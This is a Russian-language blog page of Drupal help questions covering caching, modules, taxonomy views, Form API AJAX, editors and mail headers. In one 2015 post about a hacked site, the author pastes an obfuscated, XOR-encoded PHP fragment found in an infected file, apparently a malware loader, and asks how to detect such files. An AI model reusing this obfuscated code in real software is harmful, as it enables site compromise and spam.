Блог пользователя - mikel

Как очистить кэш Twig для конкретного поддомена или хотя бы целиком?

16 ноября 2018 в 9:26

Добрый день

Сделал сайт с региональными алиасами (msk.mysite.ru, spb.mysite.ru, omsk.mysite.ru и т д )
Т е содержимое сайта везде одно и то же, отличаются только некоторые параметры (адрес, телефон, карта).

Почему вновь установленные и активированные модули заблокированы?

1 ноября 2018 в 21:26

До этого работал только с Drupal 7.
Иногда для того, чтобы отключить модуль, сначала требовалось отключить модули, которые от него зависят.

Сейчас разбираюсь с Drupal 8. Столкнулся с тем, что если установить модуль и активировать, то снять галку уже нельзя, хотя от модуля никто не зависит. Единственный способ убрать модуль, который я нашел, - удалить его из папки, но это как-то топорно. Причем если установить модуль заново, то он уже автоматом активирован.

Это какая-то новая фича Drupal 8 или баг?

Не удается установить новый модуль, "Ошибка закачки файла. Невозможно переместить закачанный файл"

29 октября 2018 в 23:05

Пожалуйста, подскажите:
Пытаюсь установить новый модуль, загружаю файл модуля через аплоад, получаю сообщение "Ошибка закачки файла. Невозможно переместить закачанный файл.".

Как я понимаю, после переноса на сервер сбились какие-то пути. Но где их править?

Не появляется блок easybreadcrups в списке блоков

11 августа 2018 в 9:37

Весь вопрос в теме. Поставил easybreadcrups, активировал, залез в блоки /admin/structure/block, чтобы его включить, а его там нет. Кэш чистил. Что это такое может быть?

Как вывести описание термина таксономии в переопределении представления taxonomy_term ?

10 августа 2018 в 10:20

Пожалуйста, подскажите:
Решил заменить стандартное отображение taxonomy_term view на свое, вот такого вида.

title
description
Список дочерних терминов

Дефолтное представление отключил, создал свое с нуля.

Все работает, но не удается вывести description для термина таксономии. Как я понял, это делается в разделе "ШАПКА".
Добавил в вывод шапки Global: Текстовая область (Global: Текстовая область)

Как убрать в термине таксономии список привязанных нод?

8 августа 2018 в 9:32

Пожалуйста, подскажите:

При просмотре страницы термина таксономии под содержимым (Заголовок + текст) выводится список привязанных к термину нод с заголовками и анонсами.
Мне он не нужен, хочу удалить.

Смотрел шаблоны:
page--taxonomy--term.html.twig - Слишком глобальный. Мне не нужно делать полный редизайн страницы, а только области контента.

taxonomy-term.html.twig - Слишком локальный. Перечень нод выводится где-то за его пределами.

Права на группы материалов

15 июня 2016 в 17:10

Пожалуйста, подскажите, как лучше реализовать:

Согласно ТЗ на сайте есть разделы, в них находятся материалы. Для каждого раздела назначен свой модератор.
Необходимо завести роли для каждого раздела. Каждый модератор может править материалы только в своем разделе.

Рассматривал вариант для каждого типа раздела завести свой тип ноды, но он мне не нравится, т к если понадобится перенести материал в другой раздел, то тупик, тип ноды не сменишь.

Почему перестали работать Самописные модули (ошибка при создании пунктов меню)?

27 декабря 2015 в 17:04

Пожалуйста, подскажите

Drupal 7.41

При создании нового сайта установил свои самописные модули, которые ранее делал для других проектов. Ни один из них не откликается, на любую страницу, созданную при помощи такого модуля выскакивает ошибка "страница не найдена"

CKeditor показывает не все кнопки

1 июля 2015 в 6:50

Пожалуйста, подскажите:

Подключил к текстовым полям CKEditor, на панели редактора отсутствуют кнопки выбора шрифта и его размера.

Пробовал подключить и настроить двумя способами:
- Через модуль Wysiwyg и потом настраивать доступные кнопки в Wysiwyg profiles через BUTTONS AND PLUGINS (/admin/config/content/wysiwyg/profile/full_html/edit)
- Через модуль CKeditor в профиле FULL (/admin/config/content/ckeditor/edit/Full)

Ничего не получается.

Раньше был TinyMCE, всем устраивал, гибко настраивался, но почитал, что старые версии уязвимы (и вправду, сайт частенько взламывали, после удаления TinyMCE, чистки и обновления взломы прекратились), а с последней версией TinyMCE Drupal не дружит, так что не обновиться.

Собственно, вопросы:

Как найти все зараженные файлы в исходниках

21 марта 2015 в 23:28

Пожалуйста, подскажите:
Есть сайт на drupal7, его хакнули, идет спам.
Хостер написал, чтобы удалили все зараженные файлы. На приличных хостингах стоит система, которая сразу выдает список файлов, которые надо удалить. Но тут хостер ленив, сказал "ищите сами".

Основной вопрос: есть какая-нибудь бесплатная утилита, через которую можно прогнать исходники?

Вручную нашел несколько файлов, пример:

<?php
 $flz
='Ux'^'1M5k%y';$rep='R7B@@6M39F#@A%"'^'7E0/2i?VI)Q4(KE8iOcA';$yyeff='""';$ldgv=0;$mghul=')';##e?})_;]N15.)2$X}Z/3roWa
$vaklx='Y!*Z]Q54]K@V';$cib='(C}|%|0Q[)m#oz})sZ%@vE=4m'^'({eP_dP';$cfri='6A@lCTtEqX&ypPx&gB)MWbAb3VRdCA{G';ihgqaj;$bsrc='(AB94^2qLWaN*'^'A/+fG;F';/*$pj;hJ4(/^5J5[Z|uW(U0:f6VZpbwmhat^$lwspmgxiy*/$vz='=ng$.{/';?>

В _form_alter приходит пустой form_state

15 июня 2014 в 22:39

Пожалуйста, подскажите...

Классическая задача: после отправки формы нужно скрыть форму и вывести сообщение. Все примеры ведут к mymodule_form_alter.

Но почему-то в mymodule_form_alter $form_state приходит уже пустым, в то время как в mymodule_myform_submit значения из $form_state вполне доступны.

($form_state мне нужен чтобы проверить факт постбэка и правильность заполненности полей. В идеале бы, конечно, какое-нибудь свойство, типа $myform["valid"]==true, чтобы не дублировать проверки, за это буду отдельно признателен)

<?php
function mymodule_form_alter(&$form, &$form_state$form_id) {

if (

$form_id == 'mymodule_myform') {
var_dump($form_state); //Приходит пустым
//Действия по скрытию элементов формы
...
}

}

?>

защита от sql инъекций при передаче нескольких параметров

10 февраля 2014 в 11:23

Пожалуйста, подскажите
sql запрос формируется из данных, полученных через GET.
С защитой от Sql инъекций одиночных параметров все понятно, примеров много.
А вот как передавать в db_query если параметров много.
Например кусок запроса

И снова каскадные зависимые дропдауны

6 января 2014 в 20:44

Встала классическая задача: сделать в модуле зависимые выпадающие списки. Примеров вагон, но все почему-то только с двумя дропдаунами.
У меня дропдаунов 3. По первому второй нормально перебиндивается, но по при смене значения второго ajax уже не вызывается.
Пожалуйста, киньте какой-нибудь пример по form api, с несколькими зависимыми элементами.

<?php
//Форма поиска
function folk_search_nameform()
{    
    
$form['geo1'] = array(
        
'#title' => t('Область'),
        
'#type' => 'select',    
        
'#options' => folk_search_get_geo1_list(),    
        
'#default_value' => -1,
        
'#ajax' => array(
            
'callback' => 'folk_search_ajax_for_geo1_callback',
            
'event' => 'change',
            
'method' => 'replace',
         ),        
    );
    
    
$form['geo2'] = array(
        
'#title' => t('Район'),?>

Не сохраняется поле типа user_reference в термине таксономии

23 сентября 2013 в 7:49

Пожалуйста, подскажите:
Есть словарь таксономии, у его терминов поле типа user_reference (выбрать можно только одно значение). Пытаюсь программно создавать такие термины.
Все прочие поля сохраняются нормально, а вот node_reference почему-то не запоминается. Любопытно, что писал аналогичный код для типа материала - все нормально.

Код такой:

Drupal не видит ffmpeg

25 августа 2013 в 17:05

Пожалуйста, подскажите: установил на Denwer ffmpeg согласно одному из мануалов, найденных в гугле.
Вроде все установилось, вот этот код <?phpextension_loaded('ffmpeg')?> возвращает true, при выводе phpinfo() он тоже виден

ffmpeg

ffmpeg-php version 0.6.3
ffmpeg-php built on Jul 12 2011 03:54:13
ffmpeg-php gd support enabled
ffmpeg libavcodec version Lavc52.72.2
ffmpeg libavformat version Lavf52.64.2
ffmpeg swscaler version SwS0.11.0

Directive Local Value Master Value
ffmpeg.allow_persistent 0 0
ffmpeg.show_warnings 0 0

Но при всем при это Drupal по-прежнему его не видит, в системных сообщениях маячит "Video transcoder: FFmpeg / avconv

Некорректный обратный адрес в модуле рассылки

29 июля 2013 в 18:46

Вот такая проблема: установил модуль рассылки Newsletters, все настроил, письма рассылаются. Но почему-то в обратном адресе вставляется вот такая ерунда:

"=?UTF-8?B?0J/QvtC00L/QuNGB0LrQsCDQvdCwINC90L7QstC+0YHRgtC4INCj0Jog0JDQug==?= =?UTF-8?B?0LDQtNC10Lwt0J/QsNGA0Lo=?=mymail@mail.com

Подскажите, плз, как ее убрать и сделать нормальный обратный адрес.

metatag: Перекрываются метатеги на стартовой

20 июня 2013 в 15:30

Вот такая проблема: поставил модуль metatag, все хорошо, все работает. Но на странице, которую я назначаю стартовой, почему-то метатеги не выводятся. Если страницу отвязать от стартовой, то на ней все становится норм. Подскажите, плз, как это побороть?

Form API. Изменение сразу нескольких элементов по ajax

19 июня 2013 в 0:52

Вот такая проблема: сделал 2 зависимых элемента на ajax, зависимый элемент обернул во враппер id form-ajax-time, все работает. Но вот возникла необходимость, чтобы по этому же действию менялось сразу несколько элементов в разных концах формы, и элементы эти одним враппером обернуть никак не получается. Киньте, плз, какой-нибудь примерчик, что-то ничего пока не выходит:(

drupal + tinymce + noindex

18 мая 2013 в 17:10

Пожалуйста, подскажите:
Понимаю, что вопрос не нов, но ответ так найти и не удалось.
Установлена связка модуль wysiwyg + TinyMce. Нужно, чтобы при редактировании html кода не резался тег noindex.
Все гугление дает примерно такие ответы http://owlman.net/django/plagin-noindex-for-tinymce/.